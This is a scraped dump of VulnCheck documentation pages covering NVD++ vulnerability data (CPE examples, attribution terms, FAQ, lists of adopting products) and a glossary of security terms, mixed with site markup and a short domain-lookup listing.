\cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:*\,\n              \versionStartIncluding\: \2.8.0\,\n              \versionEndExcluding\: \2.8.3\,\n              \matchCriteriaId\: \\\n            }\n          \n        }\n      \n    }\n  ,\n  \vcVulnerableCPEs\: \n    \cpe:2.3:a:apache:airflow:2.8.0:*:*:*:*:*:*:*\,\n    \cpe:2.3:a:apache:airflow:2.8.1:*:*:*:*:*:*:*\,\n    \cpe:2.3:a:apache:airflow:2.8.2:*:*:*:*:*:*:*\\n  ,{id:4412,title:4413,titles:4414,content:4415,level:174},/community/nist-nvd/schema#vulnchecked-added-cpe-example-from-nist-nvd-10,VulnChecked Added CPE Example From NIST NVD 1.0,471,The following example of vcConfigurations and vcVulnerableCPEs is from nist-nvd?cveCVE-2024-28746: \vcConfigurations\: {\n    \CVE_data_version\: \4.0\,\n    \nodes\: \n      {\n        \cpe_match\: \n          {\n            \vulnerable\: true,\n            \cpe23Uri\: \cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:*\,\n            \versionStartIncluding\: \2.8.0\,\n            \versionEndExcluding\: \2.8.3\\n          }\n        \n      }\n    \n  },\n  \vcVulnerableCPEs\: \n    \cpe:2.3:a:apache:airflow:2.8.0:*:*:*:*:*:*:*\,\n    \cpe:2.3:a:apache:airflow:2.8.1:*:*:*:*:*:*:*\,\n    \cpe:2.3:a:apache:airflow:2.8.2:*:*:*:*:*:*:*\\n   html pre.shiki code .sMK4o, html code.shiki .sMK4o{--shiki-light:#39ADB5;--shiki-default:#89DDFF;--shiki-dark:#89DDFF}html pre.shiki code .sfazB, html code.shiki .sfazB{--shiki-light:#91B859;--shiki-default:#C3E88D;--shiki-dark:#C3E88D}html pre.shiki code .sTEyZ, html code.shiki .sTEyZ{--shiki-light:#90A4AE;--shiki-default:#EEFFFF;--shiki-dark:#BABED8}html pre.shiki code .spNyl, html code.shiki .spNyl{--shiki-light:#9C3EDA;--shiki-default:#C792EA;--shiki-dark:#C792EA}html pre.shiki code .sBMFI, html code.shiki .sBMFI{--shiki-light:#E2931D;--shiki-default:#FFCB6B;--shiki-dark:#FFCB6B}html pre.shiki code .sbssI, html code.shiki .sbssI{--shiki-light:#F76D47;--shiki-default:#F78C6C;--shiki-dark:#F78C6C}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);},{id:476,title:439,titles:4417,content:4418,level:528},,Leveraging VulnCheck NVD++ and the data in it, in your own production, solution, or service, is easy to do at no additional cost, but requires prominent public attribution to VulnCheck. The terms and conditions of using VulnCheck NVD++, its data in whole or in part, either publicly or in cybersecurity product or service, requires prominent attribution to VulnCheck. However, other than this requirement, no additional costs are required. Prominent attribution provides users with an understanding that when VulnCheck data is being used or provided to a user of the service, that the data is labeled as VulnCheck NVD++ or VulnCheck CPE. If you have questions about VulnCheck NVD++ data in whole or in part, in one or more cybersecurity products at your company, please reach out to VulnCheck at community@vulncheck.com to receive additional details on the attribution requirements. Including VulnCheck NVD++ in your open source or commercial product is meant to be free and not incur additional costs, we simply ask for prominent attribution. Thank you.,{id:480,title:444,titles:4420,content:4421,level:528},,Frequently Asked Questions about NVD++ from VulnCheck. Below are some questions that sometimes come up when folks first learn about sourcing the NIST NVD from VulnCheck.,{id:4423,title:4321,titles:4424,content:724,level:174},/community/nist-nvd/faq#frequently-asked-questions,444,{id:4426,title:4358,titles:4427,content:4428,level:542},/community/nist-nvd/faq#what-is-nvd-from-vulncheck,444,4321,The NIST National Vulnerability Database (NVD) is a vulnerability database maintained by the National Institute of Standards (NIST). However, consuming the NVD from NIST, has been challenging for some organizations. NVD++ is the latest addition to the VulnCheck Community resources to serve security teams and practitioners. In December 2023, VulnCheck announced its first Community resource: perpetual support and maintenance of the NIST NVD 1.0 offline backups, ahead of the migration deadline. NVD++ bundles the 2.0 API with the previously released 1.0 API, including downloadable JSON backup files for each, into a single resource.,{id:4430,title:4431,titles:4432,content:4365,level:542},/community/nist-nvd/faq#why-has-vulncheck-added-for-nvd-to-vulncheck-community,Why has VulnCheck added for NVD++ to VulnCheck Community?,444,4321,{id:4434,title:4435,titles:4436,content:4332,level:542},/community/nist-nvd/faq#how-do-i-gain-access-to-nvd-from-vulncheck,How do I gain access to NVD++ from VulnCheck?,444,4321,{id:4438,title:4439,titles:4440,content:4337,level:542},/community/nist-nvd/faq#how-much-does-nvd-cost,How much does NVD++ cost?,444,4321,{id:4442,title:4443,titles:4444,content:4445,level:542},/community/nist-nvd/faq#what-versions-of-the-nvd-are-included-with-nvd,What versions of the NVD are included with NVD++?,444,4321,VulnCheck Community includes two (2) versions of NVD++. These include: IndexSourceDescriptionnist-nvd2NISTNVD 2.0nist-nvdNISTNVD 1.0 generated from NVD 2.0; unlike NIST, supported indefinitely VulnCheck Exploit & Vulnerability Intelligence includes four (4) versions of NVD. These include: IndexSourceDescriptionvulncheck-nvd2VulnCheckNVD 2.0 with VulnCheck extensions (more fields and earlier data)vulncheck-nvdVulnCheckNVD 1.0 with VulnCheck extensions (more fields and earlier data)nist-nvd2NISTNVD 2.0 with an SLAnist-nvdNISTNVD 1.0 with an SLA generated from NVD 2.0; unlike NIST, supported indefinitely,{id:4447,title:4448,titles:4449,content:4450,level:542},/community/nist-nvd/faq#how-does-nvd-from-vulncheck-differ-from-vulnchecks-exploit-vulnerability-intelligence-product,How does NVD++ from VulnCheck differ from VulnChecks Exploit & Vulnerability Intelligence product?,444,4321,NVD++ from VulnCheck represents less than one-tenth of 1% of our commercially-available Exploit & Vulnerability Intelligence product. Below are some of the features of VulnCheck Exploit & Vulnerability Intelligence, which are not included in NVD++ from VulnCheck: Exploit Intelligence\nExploitation timelineExploit maturityExploit availabilityCommercial exploit PoC trackingExploit typeGit clone URLsGit historyCached exploit PoCsExploited by Threat Actors / APTExploited by Ransomware groupsExploited by BotnetsThreat Actors / APT \u003C-> CVE mappingRansomware groups \u003C-> CVE mappingBotnets \u003C-> CVE mappingThreat Actors / APT \u003C-> Cybersecurity Vendor naming schemeOffline backups of all Exploit Intelligence dataSLA: Uptime guaranteesVulnerability Intelligence\nAverage of 10x as many referencesVulnerability StatusVulnerability AliasCVSS v2 Temporal ScoresCVSS v3 Temporal ScoresMITRE ATT&CK mappingMITRE CAPEC mappingAdditional CWE mappingAdditional CWE dataVulnerability categorizationForeign vulnerability data sourcesPackage URL lookup supportOperating System (OS) package manager coverageOpen Source Software (OSS) library package manager coverageEnd-of-Life (EOL) coverage for Operating Systems (OS)Offline backups of all Vulnerability Intelligence dataSLA: Uptime guarantees,{id:485,title:48,titles:4452,content:4453,level:528},,VulnCheck Report A Vulnerability makes it easy to Report a vulnerability to VulnCheck to be responsibly disclosed VulnCheck is committed to making it as easy as possible to report a vulnerability to be responsibly disclosed.,{id:4455,title:4456,titles:4457,content:4458,level:174},/community/report-a-vulnerability#report-a-vulnerability,Report A Vulnerability,48,Vulncheck makes it easy to report a vulnerability at https://vulncheck.com/advisories/report.,{id:4460,title:4461,titles:4462,content:4463,level:174},/community/report-a-vulnerability#multi-lingual-support,Multi-Lingual Support,48,VulnCheck’s vulnerability reporting service received a number of requests for additional language support. We’ve updated our vulnerability reporting service to support English, Nederlands (Dutch), Русский (Russian), 简体中文 (Simplified Chinese), 繁體中文 (Traditional Chinese), 한국어 (Korean), and فارسی (Persian/Farsi). We plan on expanding support for additional languages soon.,{id:492,title:496,titles:4465,content:4466,level:528},,Open Source Projects that have incorporated VulnCheck KEV or NVD++ Project NameDescriptionVulnCheck KEVNVD++Code & Golang CLI UtilityA CLI Utility for VulnCheck KEV & NVD++VC-KEVNVD++cve-analysisTools for conducting analysis of CVE data in ElasticsearchVC-KEV-CVE PrioritizerCVE_Prioritizer is a powerful tool that helps you prioritize vulnerability patching by combining CVSS, EPSS, and CISAs Known Exploited Vulnerabilities.-NVD++cvss-btEnriching the NVD CVSS scores to include Temporal/Threat MetricsVC-KEV-Exploit SeekA client-server application for comprehensive CVE analysis, exploit detection and vulnerability assessment.VC-KEV-macOS Update ProcessorKeep your macOS devices up to date using Declarative Device Management, Jamf Pro, and a SOFA feed.-NVD++nudge-auto-updatera rule-based updater for Nudge JSON files that sources lists of CVEs from SOFA, and enriches them-NVD++OpenCTI-Platform ConnectorsOpenCTI connectorsVC-KEVNVD++PowerBI DashboardVulnCheck KEV PowerBI DashboardVC-KEV-Risk-Based PrioritizationYour guide to navigating the treacherous journey of software vulnerabilities and standards to effectively prioritize by RiskVC-KEV-MacAdmins SOFA-NVD++search_vulnsSearch for known vulnerabilities in software using software titles or a CPE 2.3 string.-NVD++SploitScanSploitScan is a powerful and user-friendly tool designed to streamline the process of identifying exploits for known vulnerabilities and their respective exploitation probabilityVC-KEV-VC KEV DashboardExplore VulnCheck KEV CVEsVC-KEV-vulncheck-kev-rssThis project generates an RSS feed for vulnerabilities recently added to VulnChecks KEV database.VC-KEV-,{id:500,title:499,titles:4468,content:4469,level:528},,Commercial Products that have incorporated VulnCheck KEV or NVD++ Project NameDescriptionVulnCheck KEVNVD++Action1Action1-NVD++AxoniusAxonius Asset ManagementVC-KEV-Broadcom TanzuTanzu Application CatalogVC-KEV-Coalition Exploit Scoring SystemThe Coalition Exploit Scoring System (ESS) is a model that dynamically scores new and existing vulnerabilities to reflect their exploit likelihood.VC-KEV-CywareCyware’s Threat Intelligence Exchange (CTIX)VC-KEV-EntryZeroAddressing the most risky vulnerabilities, we are developing a novel decision-tree-based prioritization approach.VC-KEV-FleetDMFleetDM Vulnerability Management-NVD++Phoenix SecurityVULNCHECK KEV EPSS and EXPLOITS ExplorerVC-KEV-RunZerorunZero Cyber Asset Attack Surface ManagementVC-KEV-SeemplicityWith the Seemplicity platform and VulnCheck KEV, organizations can remediate the riskiest vulnerabilities faster than everVC-KEV-TinesTines AutomationVC-KEV-WizWiz Cloud Security Platform-NVD++,{id:506,title:510,titles:4471,content:511,level:528},,{id:4473,title:11,titles:4474,content:4475,level:174},/kb#overview,510,Cybersecurity is filled with jargon. While terms are often self-explanatory, how they are used, or where the lines are, can often be non-intuitive or subject to interpretation. VulnCheck maintains a glossary below, to help define & explain, VulnChecks own usage of such terms, in key areas of the service.,{id:4477,title:4478,titles:4479,content:4480,level:542},/kb#active-c2-servers,Active C2 Servers,510,11,Active C2 servers refers to actively-responsive and recently detected attacker infrastructure used for command and control (C2). Read more about Active C2 Servers in our blog post from our series Exploit Intel 101 Knowledgebase.,{id:4482,title:4483,titles:4484,content:4485,level:542},/kb#advanced-persistent-threat-apt,Advanced Persistent Threat (APT),510,11,A type of threat actor, often with a name (e.g., \Comment Crew\) or other form of unique identifier (e.g., a MITRE identifier such as \G0006\ or a MISP identifier such as \1cb7e1cc-d695-42b1-92f4-fd0112a3c9be\). Read more about Advanced Persistent Threat (APT) in our blog post from our series Exploit Intel 101 Knowledgebase.,{id:4487,title:4488,titles:4489,content:4490,level:542},/kb#attacker-infrastructure,Attacker Infrastructure,510,11,Attacker Infrastructure refers to the many software components attackers use to execute attacks and maintain access. Examples include C2 servers, relays, and proxies. Read more about Attacker Infrastructure in our blog post from our series Exploit Intel 101 Knowledgebase.,{id:4492,title:4493,titles:4494,content:4495,level:542},/kb#botnet,Botnet,510,11,A collection of computers that have been infected and controlled by a common attacker.,{id:4497,title:4498,titles:4499,content:4500,level:542},/kb#command-and-control-c2-or-cc-infrastructure,Command and Control (C2 or C&C) Infrastructure,510,11,Attacker network infrastructure, typically previously compromised infrastructure (servers and applications), used to command and control downstream infrastructure. Read more about Understanding Command & Control (C2) Infrastructure in our blog post from our series Exploit Intel 101 Knowledgebase.,{id:4502,title:4503,titles:4504,content:4505,level:542},/kb#common-vulnerabilities-and-exposures-cve,Common Vulnerabilities and Exposures (CVE),510,11,Read more about Common Vulnerabilities and Exposures in our blog post from our series Exploit Intel 101 Knowledgebase.,{id:4507,title:4508,titles:4509,content:4510,level:542},/kb#common-vulnerability-scoring-system-cvss,Common Vulnerability Scoring System (CVSS),510,11,A standard for assessing the severity of software vulnerabilities, which assigns a score from 0.0 to 10.0 based on the vulnerabilitys characteristics. Read more about Common Vulnerability Scoring System (CVSS) in our blog post from our series Exploit Intel 101 Knowledgebase.,{id:4512,title:4513,titles:4514,content:4515,level:542},/kb#cybersecurity-supply-chain-risk-management-c-scrm,Cybersecurity Supply Chain Risk Management (C-SCRM),510,11,Defined by NIST SP 800-161 publication as a \systematic process for managing exposure to cybersecurity risks through the supply chain and developing appropriate response strategies, policies, processes, and procedures.\ One such process is the generation of SBOM for a software product, performing a security analysis on the resulting data, remediating any found vulnerabilities, and repeating those steps to verify that the remediation occurred as a part of a SSDLC.,{id:4517,title:4518,titles:4519,content:4520,level:542},/kb#cyclonedx,CycloneDX,510,11,A Bill of Materials (BOM) standard developed by OWASP that supports the inclusion of software, hardware, machine learning, operations, and other BOM types, as well as additional information such as VDR and VEX data, in order to aid understanding the contents and relationships between system components. Serialization formats include both JSON and XML. Read more about CycloneDX in our blog post from our series Exploit Intel 101 Knowledgebase.,{id:4522,title:4523,titles:4524,content:4525,level:542},/kb#dependency-graph,Dependency Graph,510,11,A graph depicting the hierarchy of software dependencies for a given package or software component.,{id:4527,title:689,titles:4528,content:4529,level:542},/kb#exploit-availability,510,11,A field used to denote whether an exploit is publicly available, commercially available, or reported to be privately available. Read more about Exploit Availability in our blog post from our series Exploit Intel 101 Knowledgebase.,{id:4531,title:4532,titles:4533,content:4534,level:542},/kb#exploit-chain,Exploit Chain,510,11,When two or more vulnerabilities are used together to achieve more access on the target, than if each vulnerability was independently exploited, without exploiting other vulnerabilities.,{id:4536,title:51,titles:4537,content:4538,level:542},/kb#exploit-intelligence,510,11,Read more about Exploit Intelligence in our blog post from our series Exploit Intel 101 Knowledgebase.,{id:4540,title:658,titles:4541,content:4542,level:542},/kb#exploit-maturity,510,11,A field used to distinguish the maturity of a given exploit. The values range from (no known public exploit exists) to proof of concept (PoC) to weaponized exploit. Read more about Exploit Maturity in our blog post from our series Exploit Intel 101 Knowledgebase.,{id:4544,title:4545,titles:4546,content:4547,level:542},/kb#exploit-proof-of-concept-poc,Exploit Proof of Concept (PoC),510,11,An exploit which may not work against the majority of targets, which is likely distributed as a one-off, to demonstrate triggering the vulnerability. A field used to distinguish the maturity of a given exploit. The values range from (no known public exploit exists) to proof of concept (PoC) to weaponized exploit. Read more about Exploit Proof of Concept (PoC) in our blog post from our series Exploit Intel 101 Knowledgebase.,{id:4549,title:4550,titles:4551,content:4552,level:542},/kb#implant,Implant,510,11,Malicious software that provides advanced features like persistence, file and process hiding, and network communication obfuscation.,{id:4554,title:4555,titles:4556,content:4557,level:542},/kb#initial-access-exploit,Initial Access Exploit,510,11,A proof of concept exploit that demonstrates remote code execution on the target, remotely via a network-bound application/port. A field used to distinguish the maturity of a given exploit. The values range from (no known public exploit exists) to proof of concept (PoC) to weaponized exploit. Read more about Initial Access Exploit in our blog post from our series Exploit Intel 101 Knowledgebase.,{id:4559,title:4560,titles:4561,content:4562,level:542},/kb#initial-access-vulnerability,Initial Access Vulnerability,510,11,Initial Access vulnerabilities are those vulnerabilities, which may be exploited remotely and result in code execution. In contract to Remote Code Execution vulnerabilities, which have come to include vulnerabilities that may be exploited client-side, initial access vulnerabilities are almost exclusively exploited over the network, remotely, without user interaction.,{id:4564,title:4565,titles:4566,content:4567,level:542},/kb#ip-fingerprinting,IP Fingerprinting,510,11,A method of detecting C2 infrastructure on IPv4 and IPv6 networks.,{id:4569,title:4570,titles:4571,content:4572,level:542},/kb#named-threat-actor,Named Threat Actor,510,11,A specified threat actor with a name or identifier, see also: Advanced Persistent Threat (APT). Meant to be distinguished against reports of generic exploitation in the wild, see also: Reported Exploited In-The-Wild (ITW).,{id:4574,title:4575,titles:4576,content:4577,level:542},/kb#open-directory,Open Directory,510,11,An HTTP server configured to allow directory listings that is sometimes used by attackers to host malware.,{id:4579,title:4580,titles:4581,content:4582,level:542},/kb#package-url-purl,Package URL (purl),510,11,A method of encoding a software package, its version, and where it was sourced from (e.g., \pkg:pypi/aioxmpp@0.6.0\).,{id:4584,title:4585,titles:4586,content:4587,level:542},/kb#proxy,Proxy,510,11,A computer that acts as an intermediary between two or more computers.,{id:4589,title:4590,titles:4591,content:4592,level:542},/kb#potentially-vulnerable-servers,Potentially Vulnerable Servers,510,11,Servers or otherwise network-facing applications that show some indication of potentially being vulnerable to a known vulnerability (N-day), but which when interacted with directly, may actually not be vulnerable.,{id:4594,title:4595,titles:4596,content:4597,level:542},/kb#relay-redirector,Relay (Redirector),510,11,A relay, sometimes referred to as a redirector, is a proxy placed in front of the attackers C2 infrastructure in order to hide where C2 communications are terminated.,{id:4599,title:4600,titles:4601,content:4602,level:542},/kb#remote-code-execution-rce-exploit,Remote Code Execution (RCE) Exploit,510,11,A proof of concept exploit that demonstrates remote code execution on the target.,{id:4604,title:4605,titles:4606,content:4607,level:542},/kb#remote-code-execution-rce-vulnerability,Remote Code Execution (RCE) Vulnerability,510,11,Remote Code Execution vulnerabilities are those vulnerabilities, which may be exploited remotely and result in code execution. Originally, remote code execution vulnerabilities were exploitable over the network, via an application bound to a port. Over time, remote code execution vulnerabilities have come to include client-side vulnerabilities, where an attacker sends document to the remote party.,{id:4609,title:4610,titles:4611,content:4612,level:542},/kb#reported-exploited-in-the-wild-itw,Reported Exploited In-The-Wild (ITW),510,11,A boolean value set to true if one or more of the following example conditions are true: if a CISA Alert has been issued on the vulnerability with reports of exploitation in-the-wild; if Google Project Zeros 0day In-The-Wild (ITW) list is reporting exploitation in-the-wild; or if named threat actors have been publicly reported to have exploited the vulnerability in-the-wild.,{id:4614,title:4615,titles:4616,content:4617,level:542},/kb#reported-exploited-by-threat-actors,Reported Exploited by Threat Actors,510,11,A boolean value set to true if one or more named threat actors (specific threat actors) have been reported in industry publications to have exploit that specific vulnerability in-the-wild (ITW).,{id:4619,title:4620,titles:4621,content:4622,level:542},/kb#secure-software-development-lifecycle-ssdlc,Secure Software Development Lifecycle (SSDLC),510,11,The set of methods and processes for developing secure software as part of the overall software development lifecycle (SDLC). This can include, but is not limited to, iterative scanning of developed software for security vulnerabilities, remediating them, and scanning to ensure they were fixed.,{id:4624,title:4625,titles:4626,content:4627,level:542},/kb#software-identification-swid-tag,Software Identification (SWID) Tag,510,11,A structured metadata format for describing a software product that is defined by the ISO/IEC 19770-2 published standard in order to aid asset and information security management. There are tag types that represent certain states of the software lifecycle and each will provide different information based on this type. Some common information is the product name, version, and a (proxy) tag identifier. A given tag document will be in XML format.,{id:4629,title:4630,titles:4631,content:4632,level:542},/kb#software-package-data-exchange-spdx-blogvulnerability-exchange-formatssoftware-package-data-exchange-spdx-a-flexible-and-open-sbom-standard,Software Package Data Exchange (SPDX) blog/vulnerability-exchange-formats#software-package-data-exchange-spdx-a-flexible-and-open-sbom-standard,510,11,An international open standard (ISO/IEC 5962:2021) for supporting the communication of SBOM information in order to aid in security, license compliance, and other software supply chain use cases. Serialization formats include JSON, RDF/XML, tag-value, and YAML.,{id:4634,title:4635,titles:4636,content:4637,level:542},/kb#software-bill-of-materials-sbom,Software Bill of Materials (SBOM),510,11,An artifact, typically a JSON or XML file, expressed in CycloneDX or SPDX format, which contains metadata associated with delivered software, including the dependencies included in that software. Read more about Software Bill of Materials (SBOM) in our blog post from our series Exploit Intel 101 Knowledgebase.,{id:4639,title:4640,titles:4641,content:4642,level:542},/kb#software-dependency-graphs,Software Dependency Graphs,510,11,A graph depicting the hierarchy of software dependencies for a given package or software component. Read more about Software Dependency Graphs in our blog post from our series Exploit Intel 101 Knowledgebase.,{id:4644,title:4645,titles:4646,content:4647,level:542},/kb#software-supply-chain-security,Software Supply Chain Security,510,11,The set of methods and processes for securing the software supply chain, including the software development lifecycle (SSDLC), software bill of materials (SBOM), and vulnerability management. Read more about Software Supply Chain Security in our blog post from our series Exploit Intel 101 Knowledgebase.,{id:4649,title:4650,titles:4651,content:4652,level:542},/kb#understanding-exploits,Understanding Exploits,510,11,Read more about Understanding Exploits in our blog post from our series Exploit Intel 101 Knowledgebase.,{id:4654,title:4655,titles:4656,content:4657,level:542},/kb#unnamed-threat-actor,Unnamed Threat Actor,510,11,A non-specific threat actor, not currently associated with a name, identifier, or country; see also: Advanced Persistent Threat (APT).,{id:4659,title:4660,titles:4661,content:4662,level:542},/kb#vulnerability-alias,Vulnerability Alias,510,11,A name assigned to a vulnerability, by a vendor or security researcher, such as Log4Shell or URGENT/11.,{id:4664,title:4665,titles:4666,content:4667,level:542},/kb#vulnerability-disclosure-report-vdr,Vulnerability Disclosure Report (VDR),510,11,A vendor produced document that discloses vulnerabilities in products and services. Both the ISO/IEC 29147:2018 international open standard and NIST SP 800-161 publication provide guidance on handling receiving reports of vulnerabilities, disclosing remediation actions, and other aspects of responsible vulnerability handling to reduce users risk. Read more about Vulnerability Disclosure Reports (VDR) in our blog post from our series Exploit Intel 101 Knowledgebase.,{id:4669,title:4670,titles:4671,content:4672,level:542},/kb#vulnerability-exploitability-exchange-vex,Vulnerability Exploitability eXchange (VEX),510,11,A format developed by the National Telecommunications and Information Administration (NTIA) for the purpose of providing users additional information on whether an included component in a product is impacted by a specific vulnerability and justification for this statement. Additionally, the standard provides the ability to include recommended steps for remediation, if any exist. The primary use case is for inclusion in SBOMs in order to help avoid spending time on non-exploitable vulnerabilities, but it is not the only use case. Read more about Vulnerability Exploitability eXchange (VEX) in our blog post from our series Exploit Intel 101 Knowledgebase.,{id:4674,title:4675,titles:4676,content:4677,level:542},/kb#weaponized-exploit,Weaponized Exploit,510,11,An exploit which is either explicitly malicious, such as cases where the exploit is contained within malware (e.g., a malicious Microsoft Word document) or has been reported as exploited in the wild, or cases where the exploit facilitates \point & click\ exploitation (e.g., works against all or most targets and works reliably -- such as exploits in MetaSploit, CANVAS, or Core Impact). Additionally, weaponized exploits typically have secondary payloads, droppers, or implants.,{id:4679,title:4680,titles:4681,content:4682,level:542},/kb#web-shell,Web Shell,510,11,A malicious file uploaded to a victim HTTP server. Accessing the file allows the attacker to execute arbitrary code on the victim server.,Reactive,4684,{$snuxt-i18n-meta:4685,$scolor-mode:4686,$stoasts:4690,$ssite-config:4691},{},{preference:4687,value:4687,unknown:4688,forced:4689},dark,true,false,,{_priority:4692,currentLocale:4698,defaultLocale:4698,env:4699,name:4700,trailingSlash:4689,url:4701},{name:4693,env:4694,url:4695,trailingSlash:4696,defaultLocale:4697,currentLocale:4697},-10,-15,0,-3,-2,en,production,docs,https://docs.vulncheck.com,Set,ShallowReactive,4704,{navigation-en:-1,search:-1},//script>script>window.__NUXT__{};window.__NUXT__.config{public:{appEnv:production,siteURL:https://docs.vulncheck.com,webURL:https://docs.vulncheck.com,content:{wsUrl:},mdc:{components:{prose:true,map:{accordion:ProseAccordion,accordion-item:ProseAccordionItem,badge:ProseBadge,callout:ProseCallout,card:ProseCard,card-group:ProseCardGroup,caution:ProseCaution,code-collapse:ProseCodeCollapse,code-group:ProseCodeGroup,code-icon:ProseCodeIcon,code-preview:ProseCodePreview,code-tree:ProseCodeTree,collapsible:ProseCollapsible,field:ProseField,field-group:ProseFieldGroup,icon:ProseIcon,kbd:ProseKbd,note:ProseNote,steps:ProseSteps,tabs:ProseTabs,tabs-item:ProseTabsItem,tip:ProseTip,warning:ProseWarning}},headings:{anchorLinks:{h1:false,h2:true,h3:true,h4:true,h5:false,h6:false}}},i18n:{baseUrl:,defaultLocale:en,defaultDirection:ltr,strategy:prefix_except_default,lazy:false,rootRedirect:,routesNameSeparator:___,defaultLocaleRouteNameSuffix:default,skipSettingLocaleOnNavigate:false,differentDomains:false,trailingSlash:false,locales:{code:en,name:English,_hreflang:en,_sitemap:en,files:},{code:jp,name:日本語,_hreflang:jp,_sitemap:jp,files:},{code:kr,name:한국어,_hreflang:kr,_sitemap:kr,files:},detectBrowserLanguage:{alwaysRedirect:false,cookieCrossOrigin:false,cookieDomain:,cookieKey:i18n_redirected,cookieSecure:false,fallbackLocale:,redirectOn:root,useCookie:false},experimental:{localeDetector:,switchLocalePathLinkSSR:false,autoImportTranslationFunctions:false,typedPages:true,typedOptionsAndMessages:false,generatedLocaleFilePathFormat:absolute,alternateLinkCanonicalQueries:false,hmr:true},multiDomainLocales:false,domainLocales:{en:{domain:},jp:{domain:},kr:{domain:}}}},app:{baseURL:/,buildId:52dbe12a-06e6-4159-935d-f235472a6175,buildAssetsDir:/_nuxt/,cdnURL:}}/script>/body>/html>

Subdomains

Date	Domain	IP
api.vulncheck.com	2025-10-11	18.161.6.122
docs.vulncheck.com	2025-10-12	3.169.173.108
www.vulncheck.com	2024-10-11	3.163.189.113

View on OTX | View on ThreatMiner

Data with thanks to AlienVault OTX, VirusTotal, Malwr and others. [Sitemap]

Domain > docs.vulncheck.com

Is this malicious?

DNS Resolutions

Port 80

Port 443

Subdomains